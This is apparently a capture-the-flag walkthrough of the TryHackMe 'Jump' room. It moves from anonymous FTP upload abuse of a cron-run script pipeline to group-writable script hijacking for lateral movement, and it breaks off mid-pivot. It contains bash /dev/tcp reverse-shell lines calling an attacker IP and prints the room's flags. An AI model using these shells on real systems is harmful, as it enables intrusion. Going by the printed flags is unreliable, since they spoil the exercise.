Jump - TryHackMe Writeup
Jump TryHackMe writeup — anonymous FTP upload abuse, a cron-run recon pipeline, group-membership pivots and pspy enumeration to hop from recon_user up the stack.
Use privilege escalation knowledge to jump from a normal user to root.
##Task 1 | Challenge
You've discovered a misconfigured internal automation pipeline running on a Linux server. The system processes recon scripts, development backups, monitoring jobs, and deployment tasks across multiple users. Each stage of the pipeline relies too heavily on the previous one. By abusing these trust boundaries, you must move laterally through the system.
Your objective is to escalate from anonymous access all the way through:
recon_user → dev_user → monitor_user → ops_user → root
###Answer the questions below
Q. What is the flag found in the recon_user's home directory?
Ans.
Q. What is the flag found in the dev_user's home directory?
Ans.
Q. What is the flag found in the monitor_user's home directory?
Ans.
Q. What is the flag found in the ops_user's home directory?
Ans.
Q. What is the flag found in the root user's home directory?
Ans.
##Walkthrough
Let's start with an Nmap scan on the Target IP.
root@ip-10-112-67-43:~# nmap -p- -vv -sV 10.112.185.150
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-08-12 18:13 UTC
---
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.5
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelSo, quite clearly our initial entrypoint should be FTP. Let's attempt anonymous login -
root@ip-10-114-88-52:~# ftp 10.114.188.62
Connected to 10.114.188.62.
220 (vsFTPd 3.0.5)
Name (10.114.188.62:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||22273|)
150 Here comes the directory listing.
drwxr-xr-x 4 0 0 4096 Feb 02 2026 .
drwxr-xr-x 4 0 0 4096 Feb 02 2026 ..
drwxrwxrwx 2 115 123 4096 Apr 30 06:00 incoming
drwxr-xr-x 4 115 123 4096 Jun 09 08:22 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> la
?Invalid command.
ftp> ls
229 Entering Extended Passive Mode (|||30915|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 139 Feb 02 2026 README.txt
drwxr-xr-x 2 115 123 4096 Feb 01 2026 archive
drwxrwxrwx 2 115 123 4096 Feb 01 2026 uploadsREADME.txt has something interesting mentioned -
[ recon pipeline ]
All recon jobs must be placed in incoming/.
Files are processed automatically on arrival.
Invalid formats are ignored.So, it looks like there's an automated recon pipeline running and we can upload files using the ftp connection. Let's test this out by using a bash file -
cat > test.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.114.88.52/5555 0>&1
EOF
chmod +x test.sh
---
ftp> cd incoming
ftp> put test.shAlso, start a listener to catch the connection -
root@ip-10-114-88-52:~# nc -lnvp 5555
Listening on 0.0.0.0 5555After a while, we get the callback as recon_user -

Run the following commands to stabilize terminal -
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xtermNext, we'll read the first flag of the room -
recon_user@tryhackme-2404:~$ ls
ls
flag.txt shell.sh
recon_user@tryhackme-2404:~$ cat flag.txt
cat flag.txt
THM{5a3f1c92-7b4e-4d91-8c2a-1f6e9b2a4c11}
recon_user@tryhackme-2404:~$
Further enumerating other users on the machine -
recon_user@tryhackme-2404:/home$ ls -la
ls -la
total 28
drwxr-xr-x 7 root root 4096 Apr 29 10:46 .
drwxr-xr-x 22 root root 4096 Aug 13 03:40 ..
drwxr-x--- 3 dev_user dev_user 4096 Jun 9 09:04 dev_user
drwxr-x--- 2 monitor_user monitor_user 4096 Apr 26 19:41 monitor_user
drwxr-x--- 2 ops_user ops_user 4096 Apr 26 19:39 ops_user
drwxr-x--- 3 recon_user recon_user 4096 Jun 9 08:09 recon_user
drwxr-xr-x 5 ubuntu ubuntu 4096 Jun 21 09:50 ubuntuNow, since we need to get the dev_user's flag; let's check out their home directory -
recon_user@tryhackme-2404:/home$ cd dev_user
cd dev_user
recon_user@tryhackme-2404:/home/dev_user$ ls
ls
flag.txt
recon_user@tryhackme-2404:/home/dev_user$ cat flag
cat flag.txt
THM{8d2b7a41-3f9c-4e55-b1a2-6c7d9e8f0123}
Very weird that we were straight out able to read the dev_user's flag! But, we will still try to escalate privileges here. So, download pspy64 on your attacker machine and spin up a HTTP server so that we can save the file on our target machine -
recon_user@tryhackme-2404:~$ wget http://10.114.88.52:1337/pspy64
wget http://10.114.88.52:1337/pspy64
--2026-08-13 04:22:51-- http://10.114.88.52:1337/pspy64
Connecting to 10.114.88.52:1337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'
pspy64 100%[===================>] 2.96M --.-KB/s in 0.01s
2026-08-13 04:22:51 (299 MB/s) - 'pspy64' saved [3104768/3104768]
recon_user@tryhackme-2404:~$ chmod +x pspy64
Now, execute -
2026/08/13 04:23:43 CMD: UID=0 PID=2 |
2026/08/13 04:23:43 CMD: UID=0 PID=1 | /sbin/init
2026/08/13 04:23:45 CMD: UID=1003 PID=3325 | grep -v grep
2026/08/13 04:23:45 CMD: UID=1003 PID=3324 | ps aux
2026/08/13 04:23:45 CMD: UID=1003 PID=3327 | /bin/bash /usr/local/bin/healthcheck
2026/08/13 04:23:51 CMD: UID=1003 PID=3329 | /bin/bash /usr/local/bin/healthcheck
2026/08/13 04:23:51 CMD: UID=1003 PID=3328 | /bin/bash /usr/local/bin/healthcheck
2026/08/13 04:23:51 CMD: UID=1003 PID=3330 |
2026/08/13 04:23:56 CMD: UID=1003 PID=3332 | /bin/bash /usr/local/bin/healthcheck
2026/08/13 04:23:56 CMD: UID=1003 PID=3331 | /bin/bash /usr/local/bin/healthcheck
2026/08/13 04:23:56 CMD: UID=1003 PID=3333 | sleep 5
2026/08/13 04:24:01 CMD: UID=1003 PID=3334 | /bin/bash /usr/local/bin/healthcheck
2026/08/13 04:24:01 CMD: UID=1003 PID=3335 | /bin/bash /usr/local/bin/healthcheck
2026/08/13 04:24:01 CMD: UID=1003 PID=3336 | /bin/bash /usr/local/bin/healthcheck
2026/08/13 04:24:01 CMD: UID=0 PID=3338 | /usr/sbin/CRON -f -P
2026/08/13 04:24:01 CMD: UID=0 PID=3337 | /usr/sbin/CRON -f -P
2026/08/13 04:24:01 CMD: UID=1001 PID=3340 |
2026/08/13 04:24:01 CMD: UID=0 PID=3339 | /usr/sbin/CRON -f -P
2026/08/13 04:24:01 CMD: UID=1001 PID=3341 | /bin/bash /opt/recon/scan_uploads.sh
2026/08/13 04:24:01 CMD: UID=1001 PID=3342 | /bin/bash /opt/recon/scan_uploads.sh
2026/08/13 04:24:01 CMD: UID=1001 PID=3343 | /bin/bash /opt/recon/scan_uploads.sh
2026/08/13 04:24:01 CMD: UID=1002 PID=3344 | /bin/bash /opt/dev/backup.sh
2026/08/13 04:24:01 CMD: UID=1002 PID=3345 | /bin/bash /opt/dev/backup.sh
2026/08/13 04:24:01 CMD: UID=??? PID=3346 | ???
2026/08/13 04:24:01 CMD: UID=1001 PID=3348 | /bin/bash /srv/ftp/incoming/test.sh
2026/08/13 04:24:06 CMD: UID=1003 PID=3349 | /bin/bash /usr/local/bin/healthcheck
2026/08/13 04:24:06 CMD: UID=1003 PID=3350 | /bin/bash /usr/local/bin/healthcheck
2026/08/13 04:24:06 CMD: UID=1003 PID=3351 | sleep 5
2026/08/13 04:24:11 CMD: UID=1003 PID=3353 | /bin/bash /usr/local/bin/healthcheck
2026/08/13 04:24:11 CMD: UID=1003 PID=3352 | /bin/bash /usr/local/bin/healthcheck
2026/08/13 04:24:11 CMD: UID=1003 PID=3354 | sleep 5
2026/08/13 04:24:16 CMD: UID=1003 PID=3355 | /bin/bash /usr/local/bin/healthcheck
2026/08/13 04:24:16 CMD: UID=1003 PID=3356 | grep -v grep
2026/08/13 04:24:16 CMD: UID=1003 PID=3357 | sleep 5
Let's check these files out -
recon_user@tryhackme-2404:/opt/recon$ ls -la
ls -la
total 16
drwxr-xr-x 2 recon_user recon_user 4096 Feb 2 2026 .
drwxr-xr-x 5 root root 4096 Feb 2 2026 ..
-rwxr-xr-x 1 root root 80 Feb 2 2026 process.sh
-rwxr-xr-x 1 recon_user recon_user 114 Feb 2 2026 scan_uploads.sh
recon_user@tryhackme-2404:/opt/recon$ cat scan_uploads.sh
cat scan_uploads.sh
#!/bin/bash
shopt -s nullglob
for f in /srv/ftp/incoming/*.sh; do
/bin/bash "$f" &
sleep 5
# rm -f "$f"
done
recon_user@tryhackme-2404:/opt/recon$ cat process.sh
cat process.sh
#!/bin/bash
/bin/bash /srv/ftp/incoming/* 2>/dev/null
rm -f /srv/ftp/incoming/*
recon_user@tryhackme-2404:/opt/recon$
Next, we also have dev and app directories. So, let's check out dev -
recon_user@tryhackme-2404:/opt$ cd dev
cd dev
recon_user@tryhackme-2404:/opt/dev$ ls -la
ls -la
total 16
drwxrwxr-x 3 dev_user dev_user 4096 Jun 9 09:03 .
drwxr-xr-x 5 root root 4096 Feb 2 2026 ..
-rwxrwxr-x 1 dev_user dev_user 60 Jun 9 09:03 backup.sh
drwxr-xr-x 2 dev_user dev_user 4096 Apr 26 18:19 bin
recon_user@tryhackme-2404:/opt/dev$ cat backup.sh
cat backup.sh
#!/bin/bash
tar -czf /tmp/recon_backup.tgz /home/recon_user
recon_user@tryhackme-2404:/opt/dev$
recon_user@tryhackme-2404:/opt/dev$ cd bin
cd bin
recon_user@tryhackme-2404:/opt/dev/bin$ ls -la
ls -la
total 12
drwxr-xr-x 2 dev_user dev_user 4096 Apr 26 18:19 .
drwxrwxr-x 3 dev_user dev_user 4096 Jun 9 09:03 ..
-rw-rw-r-- 1 dev_user dev_user 62 Apr 26 18:19 ps
recon_user@tryhackme-2404:/opt/dev/bin$ cat ps
cat ps
#!/bin/bash
setsid bash -i >& /dev/tcp/10.82.84.138/5557 0>&1
recon_user@tryhackme-2404:/opt/dev/bin$Let's check if we can edit these files -
recon_user@tryhackme-2404:/opt/dev/bin$ id
id
uid=1001(recon_user) gid=1001(recon_user) groups=1001(recon_user),1002(dev_user),1005(devops)
recon_user@tryhackme-2404:/opt/dev/bin$Looks like we are in the dev_user group so we can! This is a clear pivot point, so let's edit the ps script and gain a reverse shell -
recon_user@tryhackme-2404:~$ echo '#!/bin/bash
setsid bash -i >& /dev/tcp/YOUR_IP/5557 0>&1' > /opt/dev/bin/ps
recon_user@tryhackme-2404:~$ chmod +x /opt/dev/bin/psStart a listener of port 5557 -
nc -lnvp 5557